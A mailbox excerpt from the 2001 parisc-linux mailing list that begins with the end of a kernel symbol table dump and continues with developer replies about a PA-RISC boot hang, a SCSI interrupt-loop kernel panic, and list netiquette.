102e9050 b sigqueue_cachep
102e9054 b reboot_notifier_list
102e9058 b keventd_running
102e905c b keventd_task
102e9060 b dummy_task
102e9074 b offslab_limit
102e9078 b cache_chain_sem
102e908c b contig_bootmem_data
102e90a0 b buffer___0
102e90c0 b buffer___1
102e90e0 b chrdevs
102e98d8 b bh_hash_mask
102e98dc b bh_hash_shift
102e98e0 b hash_table
102e98e4 b lru_list
102e98f4 b nr_buffers_type
102e9904 b size_buffers_type
102e9914 b unused_list
102e9918 b nr_unused_buffer_heads
102e991c b free_list
102e9954 b file_systems
102e9958 b unnamed_dev_in_use
102e9978 b buffer___0
102e9998 b bdev_hashtable
102e9b98 b bdev_cachep
102e9b9c b blkdevs
102ea394 b formats
102ea398 b pipe_mnt
102ea39c b fasync_cache
102ea3a0 b filelock_cache
102ea3a4 b dentry_cache
102ea3a8 b d_hash_mask
102ea3ac b d_hash_shift
102ea3b0 b dentry_hashtable
102ea3b4 b empty_aops___0
102ea3cc b empty_iops___1
102ea40c b empty_fops___2
102ea44c b last_ino___3
102ea450 b i_hash_mask
102ea454 b i_hash_shift
102ea458 b inode_hashtable
102ea45c b inode_cachep
102ea460 b kiobuf_cachep
102ea464 b dn_cache
102ea468 b proc_alloc_map
102ea668 b proc_tty_ldisc
102ea66c b proc_tty_driver
102ea670 b p___0
102ea674 b current_minor
102ea678 b error_buf
102eaa78 b nfs_rdata_cachep
102eaa7c b complain___0
102eaa80 b nfs_page_cachep
102eaa84 b nfs_wdata_cachep
102eaa88 b sillycounter___0
102eaa8c b nfs_deletes
102eaa90 b mnt_stats
102eaab8 b buf___0
102eab08 b nlm_blocked
102eab0c b buf___0
102eab5c b buf___0
102eabac b nlm_hosts
102eac2c b next_gc
102eac30 b nrhosts
102eac34 b buf___0
102eac84 b nlmsvc_users
102eac88 b nlmsvc_pid
102eac8c b nlmsvc_stats
102eacb0 b buf___0
102ead00 b nlm_blocked
102ead04 b buf___0
102ead54 b buf___0
102eada4 b buf___0
102eadf4 b nlm_files
102eae74 b buf___0
102eaec4 b nsm_stats
102eaeec b buf___0
102eaf3c b nlm_stats
102eaf64 b msg_ids
102eaf90 b sem_ids
102eafbc b used_sems
102eafc0 b shm_ids
102eafec b shm_tot
102eaff0 b request_cachep
102eaff4 b ro_bits
102ecfd4 b queue_ID___0
102ecfd8 b initrd_users
102ecfdc b rd_length
102ed01c b rd_hardsec
102ed05c b rd_blocksizes
102ed09c b rd_kbsize
102ed0dc b devfs_handle
102ed0e0 b rd_inode
102ed120 b inbuf
102ed124 b window
102ed128 b insize
102ed12c b inptr
102ed130 b outcnt
102ed134 b exit_code
102ed138 b bytes_out
102ed13c b crd_infp
102ed140 b crd_outfp
102ed144 b bb
102ed148 b bk
102ed14c b hufts
102ed150 b crc_32_tab
102ed550 b crc
102ed554 b nr_warns___2
102ed558 b dev_tty_driver
102ed614 b dev_syscons_driver
102ed6d0 b dev_ptmx_driver
102ed78c b dev_console_driver
102ed848 b raw_device_bindings
102edc48 b raw_device_inuse
102ee048 b raw_device_sector_size
102ee448 b raw_device_sector_bits
102ee848 b pty_driver
102ee904 b pty_slave_driver
102ee9c0 b pty_refcount
102ee9c4 b pty_table
102eedc4 b pty_termios
102ef1c4 b pty_termios_locked
102ef5c4 b ttyp_table
102ef9c4 b ttyp_termios
102efdc4 b ttyp_termios_locked
102f01c4 b pty_state
102f11c4 b ptm_table
102f15c4 b ptm_termios
102f19c4 b ptm_termios_locked
102f1dc4 b pts_table
102f21c4 b pts_termios
102f25c4 b pts_termios_locked
102f29c4 b ptm_state
102f39c4 b devfs_handle___0
102f39c8 b misc_minors
102f39d0 b last_scancode___1
102f39d4 b rekey_time___2
102f39d8 b count___3
102f39dc b secret___4
102f3a0c b rekey_time___5
102f3a10 b secret___6
102f3a40 b random_state
102f3a44 b sec_random_state
102f3a48 b batch_entropy_pool
102f3a4c b batch_entropy_credit
102f3a50 b batch_max
102f3a54 b batch_head
102f3a58 b batch_tail
102f3a5c b batch_tqueue
102f3a70 b keyboard_timer_state
102f3a80 b mouse_timer_state
102f3a90 b extract_timer_state
102f3aa0 b irq_timer_state
102f42a0 b blkdev_timer_state
102f469c b sysctl_poolsize
102f46a0 b min_read_thresh
102f46a4 b max_read_thresh
102f46a8 b min_write_thresh
102f46ac b max_write_thresh
102f46b0 b sysctl_bootid
102f46c0 b devfs_handle
102f46c4 b inv_translate
102f47c0 b dflt
102f47c4 b p___0
102f47c8 b old___1
102f47ca b oldx___2
102f47cc b oldy___3
102f47d0 b printing___5
102f47d4 b console_table
102f48d0 b console_termios
102f49cc b console_termios_locked
102f4ac8 b con_driver_map
102f4bc4 b printable
102f4bc8 b vesa_blank_mode
102f4bcc b vesa_off_interval
102f4bd0 b master_display_fg
102f4bd4 b scrollback_delta
102f4bd8 b console_timer
102f4bec b pm_con
102f4bf0 b softcursor_original
102f4bf4 b console_refcount
102f4bf8 b sel_end
102f4bfc b sel_buffer_lth
102f4c00 b sel_buffer
102f4c04 b last_strobe___0
102f4c08 b info___2
102f4c0c b info___3
102f4c10 b serial_driver
102f4ccc b callout_driver
102f4d88 b serial_refcount
102f4d8c b serial_timer
102f4da0 b IRQ_ports
102f55a0 b IRQ_timeout
102f5da0 b lsr_break_flag
102f5da4 b break_pressed
102f5da8 b serial_pci_board
102f5ee8 b serial_pci_board_idx
102f5eec b serial_table
102f5fec b serial_termios
102f60ec b serial_termios_locked
102f61ec b tmp_buf
102f61f0 b async_sercons
102f62ac b k_down
102f62b8 b key_down
102f62d8 b dead_key_next
102f62dc b diacr
102f62dd b rep
102f62e0 b ttytab
102f62e4 b tty
102f62e8 b sysrq_pressed
102f62ec b pm_kbd
102f62f0 b ledioctl
102f62f4 b ledptrs
102f6318 b lasi_psaux_keyb
102f631c b lasikbd_hpa
102f6320 b inited
102f6324 b prev_scancode___0
102f6328 b brk___1
102f632c b esc0___2
102f6330 b esc1___3
102f6334 b gen_uie_timer
102f6348 b did_version___0
102f634c b last_irq___2
102f6350 b multiport_cnt___3
102f6354 b full_duplex
102f6374 b options
102f6394 b mtu
102f63b4 b irqs
102f63b8 b port_from_cookie
102f6400 b serial_number
102f6404 b scsi_bh_queue_head
102f6408 b scsi_bh_queue_tail
102f640c b scsihosts
102f6410 b need_isa_bounce_buffers
102f6414 b f___0
102f6418 b hosts_tptr
102f6440 b hosts_tptr
102f6480 b iodc_data
102f64c0 b buffer_kbs
102f64c4 b write_threshold_kbs
102f64c8 b max_sg_segs
102f64cc b st_nbr_buffers
102f64d0 b modes_defined
102f64d4 b rscsi_disks
102f64d8 b sd_sizes
102f64dc b sd_blocksizes
102f64e0 b sd_hardsizes
102f64e4 b sd_registered
102f64e8 b sr_sizes
102f64ec b sr_blocksizes
102f64f0 b sr_hardsizes
102f64f4 b sr_registered
102f64f8 b banner_printed___0
102f64fc b cdrom_counter___1
102f6500 b initialized___2
102f6504 b debug
102f6508 b keeplocked
102f650c b autoeject
102f6510 b check_media_type
102f6514 b topCdromPtr
102f6518 b devfs_handle
102f651c b cdrom_sysctl_header
102f6520 b proc_bus_pci_dir
102f6524 b active_template
102f6528 b template_list
102f652c b pers
102f6548 b raid_table_header
102f654c b md_blocksizes
102f694c b md_hardsect_sizes
102f6d4c b md_maxreadahead
102f714c b md_recovery_thread
102f7150 b devfs_handle
102f7154 b sync_io
102f7554 b lasi_power_off_hpa
102f7558 b serial_line_nr
102f7560 b warned___0
102f7564 b net_families
102f75e4 b sock_mnt
102f75e8 b sk_cachep
102f75ec b skbuff_head_cache
102f75f0 b skb_head_pool
102f7630 b ifindex___1
102f7634 b ptype_base
102f7674 b dev_boot_setup
102f7774 b gifconf_list
102f77f4 b dst_garbage_list
102f77f8 b dst_gc_timer_expires
102f77fc b neigh_glbl_allocs
102f7800 b neigh_tables
102f7804 b last_msg___2
102f7808 b missed___3
102f7810 b buff___0
102f7824 b rover___0
102f7828 b last_gc___2
102f782c b rover___3
102f7830 b equilibrium___4
102f7834 b ip_fallback_id___7
102f7838 b rt_deadline
102f783c b rt_flush_timer
102f7850 b rt_periodic_timer
102f7864 b rt_hash_table
102f7868 b rt_hash_mask
102f786c b rt_hash_log
102f7870 b flush_delay
102f7874 b peer_cachep
102f7878 b peer_total
102f787c b ipq_hash
102f7980 b warntime___0
102f7988 b tcp_inode
102f7b60 b tcp_tw_death_row
102f7b80 b tcp_twcal_jiffie
102f7b84 b tcp_twcal_row
102f7c04 b complained___0
102f7c08 b dummy
102f7c0c b inetaddr_chain
102f7c10 b fib_info_list
102f7c14 b fn_hash_kmem
102f7c18 b fib_hash_zombies
102f7c1c b ic_bootp_xid
102f7c20 b unix_sysctl_header
102f7c24 b dummy___0
102f7c64 b rpc_task_id
102f7c68 b all_tasks
102f7c6c b rpciod_users
102f7c70 b rpciod_pid
102f7c74 b rpc_inhibit
102f7c78 b swap_buffer
102f8c78 b swap_buffer_used
102f8c7c b pmap_stats
102f8ca4 b sunrpc_table_header
102f8ca8 B rows
102f8cac B real_root_dev
102f8cb0 B cols
102f8cb4 B root_device_name
102f8cf4 B execute_command
102f8cf8 B Version_132096
102f8cfc B pm_power_off
102f8d00 B pcxl_dma_start
102f8d04 B empty_bad_page
102f8d08 B empty_zero_page
102f8d0c B vmalloc_start
102f8d10 B pmem_ranges
102f8d18 B npmem_ranges
102f8d1c B EISA_bus
102f8d20 B icache_stride
102f8d24 B saved_command_line
102f9124 B dcache_stride
102f9128 B cpu_data
102f916c B hppa_dma_ops
102f9170 B pci_bios
102f9174 B cache_info
102f91ec B boot_cpu_data
102f928c B split_tlb
102f9290 B pci_port
102f92c0 B avenrun
102f92cc B bh_task_vec
102f954c B time_offset
102f9550 B total_forks
102f9580 B tasklet_vec
102f95c0 B max_threads
102f95c4 B prof_shift
102f95c8 B nr_threads
102f95cc B last_pid
102f95d0 B panic_notifier_list
102f95d4 B nr_queued_signals
102f95d8 B pps_freq
102f95dc B wall_jiffies
102f95e0 B console_cmdline
102f9660 B prof_len
102f9680 B irq_stat
102f96c0 B sys_tz
102f96c8 B panic_timeout
102f9700 B tasklet_hi_vec
102f9740 B log_size
102f9744 B pps_offset
102f9748 B pps_jitcnt
102f974c B console_drivers
102f9750 B time_adjust_step
102f9754 B pps_stbcnt
102f9758 B files_cachep
102f975c B time_adj
102f9760 B xtime
102f9768 B time_adjust
102f976c B time_reftime
102f9770 B event
102f9774 B pidhash
102fa774 B time_phase
102fa778 B nr_running
102fa77c B jiffies
102fa780 B mm_cachep
102fa784 B pps_errcnt
102fa788 B kstat
102fc3bc B vm_area_cachep
102fc3c0 B sigact_cachep
102fc3c4 B pps_calcnt
102fc3c8 B prof_buffer
102fc3cc B fs_cachep
102fc3d0 B hardpps_ptr
102fc3d4 B memory_pressure
102fc3d8 B page_cluster
102fc3dc B kswapd_task
102fc3e0 B max_low_pfn
102fc3e4 B vmlist
102fc3e8 B nr_swapfiles
102fc3ec B high_memory
102fc3f0 B swap_cache_find_total
102fc3f4 B swap_cache_find_success
102fc3f8 B page_hash_bits
102fc3fc B pgdat_list
102fc400 B page_hash_table
102fc404 B highmem_start_page
102fc408 B nr_active_pages
102fc40c B num_physpages
102fc410 B sysctl_overcommit_memory
102fc414 B min_low_pfn
102fc418 B nr_inactive_dirty_pages
102fc41c B swap_cache_del_total
102fc420 B swap_info
102fc5e0 B max_mapnr
102fc5e4 B nr_swap_pages
102fc5e8 B active_list
102fc5f0 B inactive_dirty_list
102fc5f8 B mem_map
102fc5fc B swap_cache_add_total
102fc600 B filp_cachep
102fc604 B nr_free_dquots
102fc608 B proc_root_driver
102fc60c B nlm_grace_period
102fc610 B proc_root_fs
102fc614 B bh_cachep
102fc618 B nr_super_blocks
102fc61c B proc_mnt
102fc620 B dquot_cachep
102fc624 B nr_dquots
102fc628 B inodes_stat
102fc644 B max_dquots
102fc648 B proc_net
102fc64c B names_cachep
102fc650 B nlmsvc_ops
102fc654 B proc_root_kcore
102fc658 B nlmsvc_grace_period
102fc65c B ROOT_DEV
102fc660 B gendisk_head
102fc664 B proc_sys_root
102fc668 B nsm_local_state
102fc66c B nlmsvc_timeout
102fc670 B proc_bus
102fc674 B initrd_below_start_ok
102fc678 B max_sectors
102fca74 B rd_doload
102fca78 B rd_image_start
102fca7c B initrd_start
102fca80 B initrd_end
102fca84 B hardsect_size
102fce80 B max_readahead
102fd27c B blk_dev
10305df0 B blksize_size
103061ec B blk_size
103065e8 B read_ahead
103069e4 B console_blanked
103069e8 B vt_cons
10306ae4 B conswitchp
10306ae8 B ldiscs
10306ee8 B default_font_height
10306eec B last_console
10306ef0 B fg_console
10306ef4 B video_scan_lines
10306ef8 B tty_drivers
10306efc B emergency_sync_scheduled
10306f00 B ptm_driver
10306fbc B kbd_pt_regs
10306fc0 B tty_std_termios
10306fe4 B sysrq_power_off
10306fe8 B lp_table
103070cc B shift_state
103070d0 B kbd_ledfunc
103070d4 B redirect
103070d8 B spawnpid
103070dc B pts_driver
10307198 B vt_dont_switch
1030719c B do_poke_blanked_console
103071a0 B spawnsig
103071a4 B kmsg_redirect
103071a8 B poll
103071bc B console_blank_hook
103071c0 B vc_cons
103072bc B console_driver
10307378 B curdev
1030737c B hil_last
10307384 B kbd_table
10307480 B con_buf
10308480 B video_font_height
10308484 B sel_cons
10308488 B tulip_rx_copybreak
1030848c B tulip_max_interrupt_work
10308490 B last_cmnd
10308494 B scsi_CDs
10308498 B scsi_devfs_handle
1030849c B scsi_pid
103084a0 B scsi_logging_level
103084a4 B sd
103084a8 B proc_scsi
103084ac B cdrom_sysctl_settings
103088a8 B pci_pci_problems
103088ac B isa_dma_bridge_buggy
103088b0 B md_size
10308cb0 B md_hd_struct
103098b0 B mddev_map
1030a0b0 B raid1_retry_tail
1030a0b4 B wax_eisa_hba
1030a120 B hil_irq
1030a124 B hil_base
1030a128 B base_addr
1030a140 B rpc_autherr_tooweak
1030a144 B rpc_autherr_rejectedcred
1030a148 B xdr_one
1030a14c B inet_dev_count
1030a150 B tcp_openreq_cachep
1030a154 B tcp_bucket_cachep
1030a158 B inet_protos
1030a1d8 B main_table
1030a1dc B rpc_autherr_rejectedverf
1030a1e0 B rpc_prog_mismatch
1030a1e4 B ipv4_config
1030a200 B netdev_rx_stat
1030a240 B nfsd_debug
1030a244 B tcp_sockets_allocated
1030a248 B udp_port_rover
1030a280 B icmp_statistics
1030a380 B tcp_memory_pressure
1030a3c0 B ip_statistics
1030a4c0 B softnet_data
1030a500 B xdr_zero
1030a504 B inet_ifa_count
1030a508 B tcp_memory_allocated
1030a50c B rpc_auth_ok
1030a510 B icmp_inode
1030a6e8 B fib_info_cnt
1030a6ec B nlm_debug
1030a6f0 B rpc_system_err
1030a6f4 B rpc_autherr_badcred
1030a6f8 B rpc_proc_unavail
1030a6fc B xdr_two
1030a700 B sysctl_tcp_orphan_retries
1030a704 B raw_v4_htable
1030a784 B rpc_debug
1030a788 B local_table
1030a7c0 B net_statistics
1030a9c0 B rpc_autherr_badverf
1030a9c4 B ip_rt_max_size
1030a9c8 B rpc_prog_unavail
1030a9cc B rpc_success
1030aa00 B tcp_statistics
1030aa80 B ip_ra_chain
1030aa84 B rpc_garbage_args
1030aac0 B udp_statistics
1030ab40 B udp_hash
1030ad40 B sysctl_tcp_mem
1030ad4c B sysctl_ip_nonlocal_bind
1030ad50 B inet_peer_unused_head
1030ad54 B unix_socket_table
1030b158 B nfs_debug
1030b15c B tcp_timewait_cachep
1030b160 B errno
1030b164 B ___strtok
1031d7d8 A _end

--UlVJffcvxoiEqYs2--




From - Thu Nov 08 21:17:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems booting .61 ISO on 715/75
Date: Wed, 23 May 2001 08:58:33 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20010523085833.O8736@linuxcare.com>
References: <5.1.0.14.0.20010520213045.029610c0@mail.execpc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620133 19491 80.91.229.3 (22 Nov 2014 01:35:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tom Hansen <tomh@execpc.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 23 02:00:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust171.bre.cable.ntl.com [213.105.88.171])
	by dsl2.external.hp.com (Postfix) with ESMTP id ACF9D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 May 2001 02:00:53 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1BF50B008; Wed, 23 May 2001 08:58:33 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <5.1.0.14.0.20010520213045.029610c0@mail.execpc.com>; from tomh@execpc.com on Sun, May 20, 2001 at 09:35:01PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:11094

Hi,
  I don't think 715/old (which includes 715/75) have STI graphics,
so I wouldn't expect that to work.  In any case, my 715/75 hangs
later during install (serial console).  I think that is due to problems
with glibc (misaligned locks), which should be fixed in glibc 2.2.3
some time soon.

Richard

On Sun, May 20, 2001 at 09:35:01PM -0500, Tom Hansen wrote:
> 
> I have just downloaded the 0.61 ISO:
> 
>     palinux-0.6-32STI.iso.gz
> 
> from the HP site, burned a CD, and booted from the CD on my 715/75 Apollo, 
> 160MB, Toshiba 5701 CD-ROM. I'm using the built-in console, I don't have a 
> serial console.
> 
> After what appears to be a successful start to the boot sequence (it 
> identifies devices OK, etc.) it gets as far as the line:
> 
>     Console: colour dummy device 80x25
> 
> After this line is displayed, the CD is accessed for about 2 or 3 more 
> seconds, after which everything stops.
> 
> Any ideas?
> 
> 
> --
> Tom Hansen
> tomh@execpc.com
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:17:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic
Date: Wed, 23 May 2001 02:53:15 -0600 (MDT)
Lines: 61
Approved: news@gmane.org
Message-ID: <200105230853.CAA07709@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620133 19492 80.91.229.3 (22 Nov 2014 01:35:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rbrad@beavis.ybsoft.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 23 02:53:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2100482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 May 2001 02:53:16 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 77EA014EC; Wed, 23 May 2001 04:53:15 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id CAA07709;
	Wed, 23 May 2001 02:53:15 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:11095

>
> I have attached the panic output and the symbol table again.
>
> Thanks for the help!
>
> - Ryan

OK, the problem is that you are getting into a interrupt loop.
I see the following repeated sequence on the stack:

	intr_extint         <-----------+
	do_irq_mask                     |
	do_irq                          |
	dino_isr                        |
	sym53c8xx_intr                  |
	scsi_old_done                   |
	rw_intr                         |
	scsi_io_completion              |
	__scsi_end_request              |
	scsi_queue_next_request         |
	scsi_request_fn                 |
	scsi_dispatch_cmd               |
	<NEXT INTERRUPT>    >-----------+

I still was not able to get to the base of the stack. I believe you
are crossing many 16K blocks of memory, and die when the next
timer interrupt comes in.

Note that there is a path from scsi_dispatch_cmd that eventually calls
ccio_map_sg, i.e. I believe scsi_dispatch_cmd had already called
ccio_map_sg (indirectly) before the interupt came in. Since the interrupt
always comes in at the exact same instruction in scsi_dispatch_cmd,
it probably is happening at some point where the driver reenables
interrupts.

So, it looks like the printk in ccio_map_sg is causing the isr to take
long enough that the previous scsi command completes and the card
interrupts before the isr returns. This shouldn't happen. I talked
to Richard Hirst, and he said a later version of the sym53c8xx driver
processes things differently (using scsi_done instead of scsi_old_done)
so that this shouldn't happen. However, I believe it shouldn't be
happening anyway, because we should be preventing the isr from being
re-entered in the general irq handling code.

The bad news is that since this problem is being "caused" by the printk,
it probably does not explain your original bug (hopefully the scsi isr
normally takes much less time to complete than the actual scsi request
does!).  However, if this interrupt loop is fixed, you would then be able
to use printk to help debug the real problem.

I can't remember if your original problem crashed the system or just
caused data corruption. If the machine stays up, a debugging workaround
might be to store data in an internal array instead of using printk.
You could then dump this array after the problem occured. One possible
hack to dump the array would be to add code to dump it via the proc fs
code that already exists in the ccio_dma code.

John




From - Thu Nov 08 21:17:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic
Date: Wed, 23 May 2001 17:21:24 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010523172124.W23718@parcelfarce.linux.theplanet.co.uk>
References: <200105230853.CAA07709@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620134 19495 80.91.229.3 (22 Nov 2014 01:35:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:34 +0000 (UTC)
Cc: rbrad@beavis.ybsoft.com, parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 23 10:36:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12418482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 May 2001 10:36:42 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 152bO0-0000em-00; Wed, 23 May 2001 17:21:24 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200105230853.CAA07709@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Wed, May 23, 2001 at 02:53:15AM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11096

On Wed, May 23, 2001 at 02:53:15AM -0600, John Marvin wrote:
> I can't remember if your original problem crashed the system or just
> caused data corruption. If the machine stays up, a debugging workaround
> might be to store data in an internal array instead of using printk.
> You could then dump this array after the problem occured. One possible
> hack to dump the array would be to add code to dump it via the proc fs
> code that already exists in the ccio_dma code.

or just use printk(KERN_DEBUG "foo"); since this won't output to console.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic
Date: Wed, 23 May 2001 09:48:24 -0700 (PDT)
Lines: 52
Approved: news@gmane.org
Message-ID: <200105231648.JAA24430@opus.allegro.com>
References: <20010522201851.A28340@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620134 19496 80.91.229.3 (22 Nov 2014 01:35:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rbradetich@uswest.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 23 10:48:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CFCF482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 May 2001 10:48:31 -0600 (MDT)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id JAA24430;
	Wed, 23 May 2001 09:48:24 -0700
In-Reply-To: <20010522201851.A28340@beavis.ybsoft.com> from "Ryan Bradetich" at May 22, 2001 08:18:51 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:11097

Hi,

I was quiet before, hoping one of the more active list members
would comment ... but ... a comment on netiquette seems needed here.

We've recently seen a couple of gigantic posts to the mailing list...
of messages with 23,000+ lines of text.  Such messages take a lot of
disk and network bandwidth, and can cause performance problems for 
some users.

Hence, the two netiquette rules:

  1) don't email thousand line messages to a mailing list.

     Instead, put the text (the dump info in this case) on a 
     web server somewhere, and email the URL.  Or, offer to email
     the big file to individuals who request a copy.

     This applies to binary as well as text messages.

  2) when replying to ****ANY**** message, delete the majority 
     of it, retaining just enough to maintain context 
     for the reader!  Single-line replies that enclose a copy
     of a 23,000+ line message are just a waste ... as are
     single line replies that enclose a copy of a 20 line message.

thanks,

> John,
> 
> Thanks for the great explaination!
> 
> >             /* Stack Dump! */

... [23,400+ lines deleted]

> 1031d7d8 A _end
> 
> --UlVJffcvxoiEqYs2--
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com




From - Thu Nov 08 21:17:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic
Date: Wed, 23 May 2001 12:59:57 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <200105231859.MAA00753@puffin.external.hp.com>
References: <200105230853.CAA07709@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620134 19500 80.91.229.3 (22 Nov 2014 01:35:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 23 13:07:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C14D4482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 May 2001 13:07:34 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA00753;
	Wed, 23 May 2001 12:59:57 -0600
In-Reply-To: Your message of "Wed, 23 May 2001 02:53:15 MDT."
             <200105230853.CAA07709@udlkern.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11098

John Marvin wrote:
...
> OK, the problem is that you are getting into a interrupt loop.
> I see the following repeated sequence on the stack:
> 
> 	intr_extint         <-----------+
> 	do_irq_mask                     |
> 	do_irq                          |
> 	dino_isr                        |
> 	sym53c8xx_intr                  |
> 	scsi_old_done                   |
> 	rw_intr                         |
> 	scsi_io_completion              |
> 	__scsi_end_request              |
> 	scsi_queue_next_request         |
> 	scsi_request_fn                 |
> 	scsi_dispatch_cmd               |
> 	<NEXT INTERRUPT>    >-----------+

Uh oh. that's a bug. From irq.c:do_irq_mask() 

...
                mask_irq(irq_num);
                do_irq(&region->action[irq], irq_num, regs);
                unmask_irq(irq_num);
...

So it shouldn't be possible to take another interrupt
while in do_irq().

...
> to Richard Hirst, and he said a later version of the sym53c8xx driver
> processes things differently (using scsi_done instead of scsi_old_done)
> so that this shouldn't happen. However, I believe it shouldn't be
> happening anyway, because we should be preventing the isr from being
> re-entered in the general irq handling code.

Exactly. But if the driver is mucking with IRQ enable/disable,
does that mean the enable/disable code has to keep reference counts?
